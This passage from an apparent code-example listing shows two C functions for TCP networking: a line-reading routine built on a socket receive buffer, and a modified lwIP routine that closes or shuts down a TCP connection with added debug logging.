    return ERR_OK;
}
Exemple #29
0
int tcp_fgets(nsp_state *N, TCP_SOCKET *socket, char *buffer, int max)
{
#define __FN__ __FILE__ ":tcp_fgets()"
	char *pbuffer = buffer;
	char *obuffer;
	short int lf = 0;
	short int n = 0;
	int rc;
	int x;

retry:
	if (!socket->recvbufsize) {
		x = sizeof(socket->recvbuf) - socket->recvbufoffset - socket->recvbufsize - 2;
		if (x < 1) {
			nc_memset(socket->recvbuf, 0, sizeof(socket->recvbuf));
			socket->recvbufoffset = 0;
			socket->recvbufsize = 0;
			x = sizeof(socket->recvbuf) - socket->recvbufoffset - socket->recvbufsize - 2;
		}
		obuffer = socket->recvbuf + socket->recvbufoffset + socket->recvbufsize;
		if (x > max) x = max;
		if ((rc = tcp_recv(N, socket, obuffer, x, 0)) < 0) {
			return -1;
		}
		else if (rc < 1) {
			/* goto retry; */
			*pbuffer = '\0';
			return n;
		}
		socket->recvbufsize += rc;
	}
	obuffer = socket->recvbuf + socket->recvbufoffset;
	while ((n < max) && (socket->recvbufsize>0)) {
		socket->recvbufoffset++;
		socket->recvbufsize--;
		n++;
		if (*obuffer == '\n') lf = 1;
		*pbuffer++ = *obuffer++;
		if ((lf) || (*obuffer == '\0')) break;
	}
	*pbuffer = '\0';
	if (n > max - 1) {
		/* if (N->debug) n_warn(N, __FN__, "[%s:%d] %s", socket->RemoteAddr, socket->RemotePort, buffer); */
		return n;
	}
	if (!lf) {
		if (socket->recvbufsize > 0) {
			nc_memcpy(socket->recvbuf, socket->recvbuf + socket->recvbufoffset, socket->recvbufsize);
			nc_memset(socket->recvbuf + socket->recvbufsize, 0, sizeof(socket->recvbuf) - socket->recvbufsize);
			socket->recvbufoffset = 0;
		}
		else {
			nc_memset(socket->recvbuf, 0, sizeof(socket->recvbuf));
			socket->recvbufoffset = 0;
			socket->recvbufsize = 0;
		}
		goto retry;
	}
	/* if (N->debug) n_warn(N, __FN__, "[%s:%d] %s", socket->RemoteAddr, socket->RemotePort, buffer); */
	return n;
#undef __FN__
}
Exemple #30
0
/**
 * Internal helper function to close a TCP netconn: since this sometimes
 * doesn't work at the first attempt, this function is called from multiple
 * places.
 *
 * @param conn the TCP netconn to close
 */
static void
do_close_internal(struct netconn *conn)
{
  LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("Begin do_close_internal conn=%08x conn->pcb.tcp=%08x localport=%d remoteip=%08x remoteport=%d\n", conn, conn->pcb.tcp, conn->pcb.tcp->local_port, conn->pcb.tcp->remote_ip, conn->pcb.tcp->remote_port));
  err_t err;
  u8_t shut, shut_rx, shut_tx, close;

  LWIP_ASSERT("invalid conn", (conn != NULL));
  LWIP_ASSERT("this is for tcp netconns only", (conn->type == NETCONN_TCP));
  LWIP_ASSERT("conn must be in state NETCONN_CLOSE", (conn->state == NETCONN_CLOSE));
  LWIP_ASSERT("pcb already closed", (conn->pcb.tcp != NULL));
  LWIP_ASSERT("conn->current_msg != NULL", conn->current_msg != NULL);

  shut = conn->current_msg->msg.sd.shut;
  shut_rx = shut & NETCONN_SHUT_RD;
  shut_tx = shut & NETCONN_SHUT_WR;
  /* shutting down both ends is the same as closing */
  close = shut == NETCONN_SHUT_RDWR;

  /* Set back some callback pointers */
  if (close) {
    tcp_arg(conn->pcb.tcp, NULL);
  }
  if (conn->pcb.tcp->state == LISTEN) {
    tcp_accept(conn->pcb.tcp, NULL);
  } else {
    /* some callbacks have to be reset if tcp_close is not successful */
    if (shut_rx) {
      tcp_recv(conn->pcb.tcp, NULL);
      tcp_accept(conn->pcb.tcp, NULL);
    }
    if (shut_tx) {
      tcp_sent(conn->pcb.tcp, NULL);
    }
    if (close) {
      tcp_poll(conn->pcb.tcp, NULL, 4);
      tcp_err(conn->pcb.tcp, NULL);
    }
  }
  /* Try to close the connection */
  if (close) {
    LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("close:calling tcp_close conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp));
    err = tcp_close(conn->pcb.tcp);
  } else {
    LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("close:shutdown:calling tcp_shutdown conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp));
    err = tcp_shutdown(conn->pcb.tcp, shut_rx, shut_tx);
  }
  int close_always_returns = 0;
  #if defined ALII_4573_CLOSE_ALWAYS_RETURNS && ALII_4573_CLOSE_ALWAYS_RETURNS
    close_always_returns = 1;
  #endif
  if ((close_always_returns)||(err == ERR_OK)) {

    LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("Closing succeeded conn=%08x conn->pcb.tcp=%08x err=%d\n", conn, conn->pcb.tcp, err));
    /* Closing succeeded */
    conn->current_msg->err = err;
    conn->current_msg = NULL;
    conn->state = NETCONN_NONE;
    if (close) {
      /* Set back some callback pointers as conn is going away */
      conn->pcb.tcp = NULL;
      /* Trigger select() in socket layer. Make sure everybody notices activity
       on the connection, error first! */
      API_EVENT(conn, NETCONN_EVT_ERROR, 0);
    }
    if (shut_rx) {
      API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0);
    }
    if (shut_tx) {
      API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0);
    }
    /* wake up the application task */
    LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("wake up the application task conn=%08x conn->pcb.tcp=%08x NETCONN_EVT_SENDPLUS\n", conn, conn->pcb.tcp));
    conn_op_completed(conn);
  } else {
    /* Closing failed, restore some of the callbacks */
    /* Closing of listen pcb will never fail! */
    LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("close failed conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp));
    LWIP_ASSERT("Closing a listen pcb may not fail!", (conn->pcb.tcp->state != LISTEN));
    tcp_sent(conn->pcb.tcp, sent_tcp);
    tcp_poll(conn->pcb.tcp, poll_tcp, 4);
    tcp_err(conn->pcb.tcp, err_tcp);
    tcp_arg(conn->pcb.tcp, conn);
    /* don't restore recv callback: we don't want to receive any more data */
  }
  /* If closing didn't succeed, we get called again either
     from poll_tcp or from sent_tcp */
  LWIP_DEBUGF(ALII_4573_CLOSE_DEBUG, ("End do_close_internal conn=%08x conn->pcb.tcp=%08x\n", conn, conn->pcb.tcp));
}